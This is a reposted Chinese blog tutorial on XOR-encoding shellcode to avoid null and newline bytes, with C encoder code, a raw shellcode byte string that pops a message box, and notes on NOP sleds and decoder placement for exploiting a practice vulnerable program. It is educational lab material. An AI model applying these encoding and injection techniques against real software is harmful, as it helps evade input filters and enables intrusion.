shellcode 编码技术
在很多漏洞利用場(chǎng)景中, shellcode 的內(nèi)容將會(huì)受到限制。
例如你不能輸入 \x00 這個(gè)字符,編輯框不能輸入 \x0d \x0a這樣的字符
所以需要完成 shellcode 的邏輯,然后使用編碼技術(shù)對(duì) shellcode 進(jìn)行編碼,使其內(nèi)容達(dá)到限
制的要求,最后再精心構(gòu)造十幾個(gè)字節(jié)的解碼程序,放在 shellcode 開始執(zhí)行的地方。
當(dāng) exploit 成功時(shí), shellcode 頂端的解碼程序首先運(yùn)行,它會(huì)在內(nèi)存中將真正的 shellcode
還原成原來(lái)的樣子,然后執(zhí)行。這種對(duì) shellcode 編碼的方法和軟件加殼的原理非常類似。
這樣,我們只需要專注于幾條解碼指令,使其符合限制條件就行,相對(duì)于直接關(guān)注于整段shellcode 來(lái)說(shuō)使問(wèn)題簡(jiǎn)化了很多。
- 由上一篇文章提取出來(lái)的機(jī)器碼,進(jìn)行最簡(jiǎn)單的加密,異或
- 目標(biāo):還是我第一篇文章中共享的dig.exe含漏洞的程序
功能為彈出對(duì)話框,然后退出程序
#include<stdlib.h> #include<string.h>void encoder(char* input, unsigned char key) {int i = 0, len = 0; FILE * fp;len = strlen(input);unsigned char * output = (unsigned char *)malloc(len + 1); for (i = 0; i<len; i++)output[i] = input[i] ^ key; fp = fopen("encode.txt", "w+"); fprintf(fp, "\"");for (i = 0; i<len; i++){fprintf(fp, "\\x%0.2x", output[i]);if ((i + 1) % 16 == 0)fprintf(fp, "\"\n\"");}fprintf(fp, "\"");fclose(fp);printf("dump the encoded shellcode to encode.txt OK!\n");free(output); }int _tmain(int argc, _TCHAR* argv[]) {char sc[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90";encoder(sc, 0x51);getchar();return 0; }注意: 在進(jìn)行異或操作時(shí),key不能與原機(jī)器碼中的數(shù)值一樣,否則運(yùn)算結(jié)束后會(huì)有0,而 0 是字符串的結(jié)尾,不能做為輸入字符
在加密結(jié)束后,要檢查輸出的加密shellcode中是否有 0d(\r) 0a(\n)這樣的字符這樣的字符同樣不能輸入
我試了大約20次不同的key才找到一個(gè)0x51可以使用,有時(shí)間我再把他改成自動(dòng)挑選shellcode的代碼吧...
- 在放置shellcode的時(shí)候,我翻了一次車
在上次實(shí)驗(yàn)中,shllcode比較小沒問(wèn)題
可是這次shellcode比較大,大到了已經(jīng)可以覆蓋上一個(gè)函數(shù)棧幀的的eip了
如果在按照左圖的布局方式,會(huì)出現(xiàn)一些我目前還無(wú)法解釋錯(cuò)誤
經(jīng)過(guò)多次翻車后,我開始按照右圖的布局方式來(lái)做
為了減小shllcode的體積,增加shellcode的靈活性,建議以后也按照右圖的方式布局
(如果文中有錯(cuò)誤的地方,請(qǐng)批評(píng)指正,謝謝!)
先在棧中寫 一大片 nop 這樣eip之后的jmp就可以不用控制的很精確也可以跳到shellcode
只要 jmp 擊中了 nop 就好了
- mov eax,esp 后,eax為eip的下一個(gè)位置(jmp)這個(gè)地方
- 在上段代碼中 hex(len(shellcode)) 可以得到shellcode的長(zhǎng)度
然后 sub eax 這個(gè)長(zhǎng)度就可以讓eax 指向shellcode的開關(guān)
sub eax,0x114 的機(jī)器碼為 2D 14010000,我們的字符串中不能存在 \0 字符
所以不能用減法了,改為加法
add 0x114的補(bǔ)碼就沒有 \0 字符了
esp 當(dāng)前位置并不是在shellcode尾部,所以eax應(yīng)該加0x11c的補(bǔ)碼- 然后eax加上解密的shllcode的長(zhǎng)度,指向加密的shllcode的數(shù)據(jù)
我的shellcode解密出來(lái)最后一位是 \x90,遇到 \x90就向下運(yùn)行
如果解完密的shellcode與自己寫的shllcode不一樣,那就換一個(gè)key重新加密一次,數(shù)據(jù)可能在復(fù)制過(guò)程中發(fā)生了改變
小建議:生成的字符串用winHex打開,可以獲得最大的準(zhǔn)確性
轉(zhuǎn)載于:https://www.cnblogs.com/jazm/p/10302388.html
總結(jié)
以上是生活随笔為你收集整理的shellcode 编码技术的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 关于 JS 模块化的最佳实践总结
- 下一篇: VS Code 的常用快捷键和插件